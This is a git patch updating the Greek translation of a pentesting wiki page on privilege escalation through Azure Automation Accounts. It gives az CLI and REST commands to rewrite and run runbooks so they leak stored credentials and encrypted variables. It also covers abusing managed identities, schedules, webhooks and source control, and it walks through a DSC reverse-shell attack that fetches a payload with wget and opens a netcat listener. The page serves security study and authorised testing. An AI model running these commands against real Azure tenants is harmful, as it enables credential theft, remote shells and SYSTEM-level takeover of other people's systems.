From c75ea2b7d82dc093902271850e310f309e2c7e69 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 21 Jan 2026 21:11:44 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-automation-accounts-privesc.md | 116 ++++++++++-------- 1 file changed, 67 insertions(+), 49 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index cb5e08fa9..372aafdd4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Για περισσότερες πληροφορίες, ελέγξτε: +Fore more information check: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,29 +12,29 @@ ### Hybrid Workers Group -- **Από τον Λογαριασμό Αυτοματοποίησης στη VM** +- **From the Automation Account to the VM** -Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM. +Θυμηθείτε ότι αν με κάποιο τρόπο ένας attacker μπορεί να εκτελέσει ένα arbitrary runbook (arbitrary code) σε έναν hybrid worker, θα **pivot to the location of the VM**. Αυτό μπορεί να είναι ένας on-premise υπολογιστής, ένα VPC ενός διαφορετικού cloud ή ακόμη και ένα Azure VM. -Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**. +Επιπλέον, αν ο hybrid worker τρέχει στο Azure με άλλες Managed Identities συνδεδεμένες, το runbook θα μπορεί να προσπελάσει την **managed identity of the runbook and all the managed identities of the VM from the metadata service**. > [!TIP] -> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**). +> Να θυμάστε ότι η **metadata service** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνεται το managed identities token του automation account (**`IDENTITY_ENDPOINT`**). -- **Από τη VM στον Λογαριασμό Αυτοματοποίησης** +- **From the VM to the Automation Account** -Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα μπορεί να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης. +Επιπλέον, αν κάποιος compromize ένα VM όπου τρέχει ένα script του automation account, θα μπορέσει να εντοπίσει τα metadata του **Automation Account** και να τα προσπελάσει από το VM για να αποκτήσει tokens για τις **Managed Identities** που είναι συνδεδεμένες στο Automation Account. -Όπως είναι δυνατόν να δείτε στην παρακάτω εικόνα, έχοντας πρόσβαση Διαχειριστή στη VM είναι δυνατόν να βρείτε στις **μεταβλητές περιβάλλοντος της διαδικασίας** το URL και το μυστικό για να έχετε πρόσβαση στην υπηρεσία μεταδεδομένων του λογαριασμού αυτοματοποίησης: +Όπως φαίνεται στην ακόλουθη εικόνα, έχοντας Administrator πρόσβαση στο VM είναι δυνατόν να βρεθούν στις **environment variables of the process** το URL και το secret για πρόσβαση στην automation account metadata service: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που είναι αποθηκευμένες στον Λογαριασμό Αυτοματοποίησης. +Συνοπτικά, αυτές οι άδειες επιτρέπουν να **create, modify and run Runbooks** στο Automation Account, το οποίο μπορείτε να χρησιμοποιήσετε για να **execute code** στο context του Automation Account και να escalate privileges προς τις ανατιθέμενες **Managed Identities** και να leak **credentials** και **encrypted variables** αποθηκευμένες στο Automation Account. -Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: +Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει να τροποποιηθεί ο κώδικας ενός Runbook στο Automation Account χρησιμοποιώντας: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** μιας διαπίστευσης και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης. +Παρατήρησε πώς το προηγούμενο script μπορεί να χρησιμοποιηθεί για να **leak the useranmd and password** ενός credential και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στο Automation Account. -Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στον Λογαριασμό Αυτοματοποίησης ώστε οι αλλαγές να εφαρμοστούν: +Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στο Automation Account ώστε οι αλλαγές να εφαρμοστούν: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελεί ένα Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: +Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελέσει ένα Runbook στο Automation Account χρησιμοποιώντας: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: +Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στο Automation Account χρησιμοποιώντας: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Αν δεν υπάρχουν δημιουργημένα Runbooks, ή αν θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τις **άδειες `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας: +Αν δεν υπάρχουν δημιουργημένα Runbooks, ή θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τα **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: +Αυτό το δικαίωμα επιτρέπει στον χρήστη να **assign a user managed identity** στο Automation Account χρησιμοποιώντας: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Χρονοδιαγράμματος στον Λογαριασμό Αυτοματοποίησης που εκτελείται κάθε 15 λεπτά (όχι πολύ κρυφά) χρησιμοποιώντας την παρακάτω εντολή. +Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Schedule στο Automation Account που εκτελείται κάθε 15 λεπτά (όχι πολύ stealth) χρησιμοποιώντας την ακόλουθη εντολή. -Σημειώστε ότι το **ελάχιστο διάστημα για ένα χρονοδιάγραμμα είναι 15 λεπτά**, και η **ελάχιστη ώρα έναρξης είναι 5 λεπτά** στο μέλλον. +Σημειώστε ότι το **ελάχιστο διάστημα για ένα schedule είναι 15 λεπτά**, και ο **ελάχιστος χρόνος έναρξης είναι 5 λεπτά** στο μέλλον. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας: +Τότε, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, είναι δυνατό να αναθέσετε έναν Scheduler σε ένα runbook χρησιμοποιώντας: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση. +> Στο προηγούμενο παράδειγμα, το job schedule id είχε μείνει ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα**, αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή. +Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε ένα Automation Account χρησιμοποιώντας μία από τις ακόλουθες εντολές. + +Με το Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Αυτή η εντολή θα πρέπει να επιστρέψει ένα URI webhook που εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το URI webhook +Με AzureCLI και REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Αυτές οι εντολές θα πρέπει να επιστρέψουν ένα webhook URI το οποίο εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το webhook URI. ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατή η **ενημέρωση του κώδικα ενός Runbook** χωρίς να το δημοσιεύσετε και να το εκτελέσετε χρησιμοποιώντας τις παρακάτω εντολές. +Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατό να **ενημερώσετε τον κώδικα ενός Runbook** χωρίς να τον δημοσιεύσετε και να τον εκτελέσετε χρησιμοποιώντας τις ακόλουθες εντολές. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Αυτή η άδεια επιτρέπει στον χρήστη να **ρυθμίσει έναν έλεγχο πηγής** για τον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας εντολές όπως οι παρακάτω (αυτό χρησιμοποιεί το Github ως παράδειγμα): +Αυτό το δικαίωμα επιτρέπει στο χρήστη να **ρυθμίσει ένα source control** για το Automation Account χρησιμοποιώντας εντολές όπως οι παρακάτω (το παράδειγμα χρησιμοποιεί το Github): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Αυτό θα εισάγει αυτόματα τα runbooks από το αποθετήριο Github στον Λογαριασμό Αυτοματοποίησης και με κάποιες άλλες άδειες για να αρχίσουν να εκτελούνται, θα ήταν **δυνατό να γίνει κλιμάκωση δικαιωμάτων**. +Αυτό θα εισάγει αυτόματα τα runbooks από το Github repository στο Automation Account και με κάποιες επιπλέον άδειες για να τα εκτελέσει, θα ήταν δυνατό να πραγματοποιηθεί ανύψωση προνομίων. -Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Επιπλέον, να θυμάστε ότι για να λειτουργεί το source control στις Automation Accounts πρέπει να διαθέτει managed identity με τον ρόλο **`Contributor`**, και αν είναι user managed identity, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί. +> Σημειώστε ότι δεν είναι δυνατό να αλλάξετε το repo URL ενός source control αφού αυτό δημιουργηθεί. ### `Microsoft.Automation/automationAccounts/variables/write` -Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή. +Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατό να γράψετε μεταβλητές στο Automation Account χρησιμοποιώντας την ακόλουθη εντολή. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -213,53 +231,53 @@ az rest --method PUT \ } }' ``` -### Custom Runtime Environments +### Προσαρμοσμένα Περιβάλλοντα Runtime -Εάν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται. +Εάν ένας automation account χρησιμοποιεί ένα προσαρμοσμένο runtime περιβάλλον, μπορεί να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του runtime με κακόβουλο κώδικα (όπως **a backdoor**). Έτσι, κάθε φορά που ένα runbook που χρησιμοποιεί αυτό το custom runtime εκτελείται και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελεστεί. -### Compromising State Configuration +### Παραβίαση State Configuration -**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Δες την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Step 1 — Create Files +- Βήμα 1 — Δημιουργία αρχείων -**Files Required:** Δύο σενάρια PowerShell είναι απαραίτητα: -1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Ένα σενάριο για τη δημοσίευση της διαμόρφωσης στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Απαιτούμενα αρχεία:** Απαιτούνται δύο PowerShell scripts: +1. `reverse_shell_config.ps1`: ένα Desired State Configuration (DSC) αρχείο που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: ένα script για να δημοσιεύσει τη διαμόρφωση στο VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Customization:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload. +**Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, διαδρομών αρχείων και αναγνωριστικών server/payload. -- Step 2 — Zip Configuration File +- Βήμα 2 — Συμπίεση αρχείου διαμόρφωσης -Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account. +Το `reverse_shell_config.ps1` συμπιέζεται σε αρχείο `.zip`, κάνοντάς το έτοιμο για μεταφορά στο Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση +- Βήμα 3 — Ορισμός Storage Context & Ανέβασμα -Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure. +Το συμπιεσμένο αρχείο διαμόρφωσης ανεβαίνει σε έναν προκαθορισμένο Azure Storage container, azure-pentest, χρησιμοποιώντας το cmdlet Set-AzStorageBlobContent της Azure. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Βήμα 4 — Προετοιμασία του Kali Box +- Βήμα 4 — Προετοιμασία Kali Box -Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub. +Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο στο GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell. +Το script επεξεργάζεται για να καθορίσει τον target Windows VM και τη θύρα για το reverse shell. -- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων +- Βήμα 5 — Δημοσίευση Αρχείου Διαμόρφωσης -Το αρχείο ρυθμίσεων εκτελείται, με αποτέλεσμα το σενάριο reverse-shell να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM. +Το αρχείο διαμόρφωσης εκτελείται, με αποτέλεσμα το reverse-shell script να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM. -- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener +- Βήμα 6 — Φιλοξενία payload και Ρύθμιση listener -Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις. +Ξεκινά ένας Python SimpleHTTPServer για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Η προγραμματισμένη εργασία εκτελεί το payload, επιτυγχάνοντας δικαιώματα επιπέδου SYSTEM. +Η προγραμματισμένη εργασία εκτελεί το payload, αποκτώντας προνόμια σε επίπεδο SYSTEM. {{#include ../../../banners/hacktricks-training.md}}